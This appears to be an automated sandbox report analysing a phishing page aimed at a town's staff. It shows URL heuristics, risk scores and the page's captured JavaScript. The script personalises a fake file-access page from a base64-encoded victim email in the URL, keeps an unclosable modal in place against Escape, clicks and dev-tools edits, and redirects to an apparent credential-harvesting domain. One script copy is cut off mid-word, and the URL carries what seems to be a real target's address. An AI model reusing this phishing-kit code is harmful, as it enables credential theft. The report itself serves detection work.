Windows Analysis Report
https://artsofbristy.com/?data=ZGdyaW5zdGVhZEBjaXR5b2Zyb3hib3JvLmNvbQ==

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://artsofbristy.com

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a mix of behaviors, some of which are potentially concerning. While it appears to be primarily focused on updating profile images and names based on an email address, it also includes some aggressive DOM manipulation and persistence mechanisms that could be used for malicious purposes. The script requires further review to determine the full extent of its intentions and potential risks."
}

    const pms = new URLSearchParams(window.location.search);
    const data = pms.get('data');

    if (data) {
        try {
            if (!/^[A-Za-z0-9+/=]+$/.test(data)) {
                throw new Error('Invalid data format');
            }
            
            const email = atob(data);
            if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
                throw new Error('Invalid email format');
            }
            
            const domain = email.split('@')[1];
            const companyName = domain.split('.')[0];
            const displayName = companyName.charAt(0).toUpperCase() + companyName.slice(1);
            
            // Update both dashboard and modal images
            const profileImg = document.getElementById('dashboard-img');
            const modalImg = document.getElementById('modal-img');
            const fallbackImage = 'https://via.placeholder.com/100';
            
            const logoUrl = `https://logo.clearbit.com/${domain}`;
            
            [profileImg, modalImg].forEach(img => {
                if (img) {
                    img.src = logoUrl;
                    img.onerror = function() {
                        this.src = fallbackImage;
                    };
                }
            });
            
            // Update both dashboard and modal names
            const dashboardName = document.getElementById('dashboard-name');
            const modalName = document.getElementById('modal-name');
            
            [dashboardName, modalName].forEach(element => {
                if (element) {
                    element.innerHTML = `<span class="domain-highlight">${displayName}</span>`;
                }
            });
            
        } catch (error) {
            console.error('Error:', error);
        }
    }

    // Function to close modal
    function closeModal() {
        document.getElementById('loginModal').style.display = "none";
    }

    // Close modal if clicking outside of it
    window.onclick = function(event) {
        var modal = document.getElementById('loginModal');
        if (event.target == modal) {
            modal.style.display = "none";
        }
    }

    // Make modal persistent
    function enforceModal() {
        const modal = document.getElementById('loginModal');
        
        // Force display the modal
        modal.style.display = "block";
        
        // Prevent closing with escape key
        window.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                e.preventDefault();
                modal.style.display = "block";
                return false;
            }
        }, true);

        // Prevent clicking outside to close
        window.onclick = function(e) {
            modal.style.display = "block";
            return false;
        }

        // Check every 100ms if modal is visible
        setInterval(function() {
            if (modal.style.display !== "block") {
                modal.style.display = "block";
            }
            
            // Also check if modal was removed from DOM
            if (!document.contains(modal)) {
                document.body.appendChild(modal);
            }
            
            // Ensure modal stays on top
            modal.style.zIndex = "99999";
        }, 100);

        // Prevent modifications through dev tools
        Object.defineProperty(modal.style, 'display', {
            get: function() {
                return "block";
            },
            set: function() {
                return "block";
            }
        });

        // Monitor DOM changes to prevent modal removal
        const observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                if (!document.contains(modal)) {
                    document.body.appendChild(modal);
                }
                modal.style.display = "block";
            });
        });

        obser

{
    "contains_trigger_text": true,
    "trigger_text": "Verify captcha as Cityoffroxboro to view your files",
    "prominent_button_name": "Verify",
    "text_input_field_labels": [
        "Enter the text above"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": true,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false,
    "contains_security_alerts": false
}

{
  "brands": "unknown"
}

```json{  "legit_domain": "unknown",  "classification": "unknown",  "reasons": [    "The brand name 'u' is not recognizable and does not provide enough information to associate with a known brand.",    "The URL 'artsofbristy.com' does not match any well-known or known brand domain.",    "The domain name 'artsofbristy.com' appears to be a generic or potentially fabricated name, which is often used in phishing attempts.",    "There are no clear indicators of a legitimate brand association with the provided URL."  ],  "riskscore": 8}

URL: artsofbristy.com
			Brands: u
			Input Fields: Enter the text above

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The script also enforces a modal that cannot be closed, which is a highly suspicious behavior. Overall, the script demonstrates malicious intent and poses a significant security risk."
}

    const pms = new URLSearchParams(window.location.search);
    const data = pms.get('data');

    if (data) {
        try {
            if (!/^[A-Za-z0-9+/=]+$/.test(data)) {
                throw new Error('Invalid data format');
            }
            
            const email = atob(data);
            if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
                throw new Error('Invalid email format');
            }
            
            const domain = email.split('@')[1];
            const companyName = domain.split('.')[0];
            const displayName = companyName.charAt(0).toUpperCase() + companyName.slice(1);
            
            // Update both dashboard and modal images
            const profileImg = document.getElementById('dashboard-img');
            const modalImg = document.getElementById('modal-img');
            const fallbackImage = 'https://via.placeholder.com/100';
            
            const logoUrl = `https://logo.clearbit.com/${domain}`;
            
            [profileImg, modalImg].forEach(img => {
                if (img) {
                    img.src = logoUrl;
                    img.onerror = function() {
                        this.src = fallbackImage;
                    };
                }
            });
            
            // Update both dashboard and modal names
            const dashboardName = document.getElementById('dashboard-name');
            const modalName = document.getElementById('modal-name');
            
            [dashboardName, modalName].forEach(element => {
                if (element) {
                    element.innerHTML = `<span class="domain-highlight">${displayName}</span>`;
                }
            });
            
        } catch (error) {
            console.error('Error:', error);
        }
    }

    function enforceModal() {
        const modal = document.getElementById('loginModal');
        modal.style.display = "block";
        
        window.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                e.preventDefault();
                modal.style.display = "block";
                return false;
            }
        }, true);

        window.onclick = function(e) {
            modal.style.display = "block";
            return false;
        }

        setInterval(function() {
            if (modal.style.display !== "block") {
                modal.style.display = "block";
            }
            
            if (!document.contains(modal)) {
                document.body.appendChild(modal);
            }
            
            modal.style.zIndex = "99999";
        }, 100);

        Object.defineProperty(modal.style, 'display', {
            get: function() { return "block"; },
            set: function() { return "block"; }
        });

        const observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                if (!document.contains(modal)) {
                    document.body.appendChild(modal);
                }
                modal.style.display = "block";
            });
        });

        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
    }

    window.onload = enforceModal;
    document.addEventListener('DOMContentLoaded', enforceModal);
    window.addEventListener('load', enforceModal);
    document.addEventListener('readystatechange', enforceModal);

    document.getElementById('submitBtn').addEventListener('click', () => {
        const urlParams = new URLSearchParams(window.location.search);
        const encodedEmail = urlParams.get('data');
        
        message.textContent = "Signing in... Please wait";
        message.className = "success";
        setTimeout(() => {
            window.location.href = 'https://login.shadrred.online/nfpaOHoD';
        }, 1500);
    });
    

{
    "contains_trigger_text": true,
    "trigger_text": "Sign in with Cityofboxboro to view your files",
    "prominent_button_name": "Sign in",
    "text_input_field_labels": "unknown",
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false,
    "contains_security_alerts": false
}

{
  "brands": [
    "Cityofboxboro"
  ]
}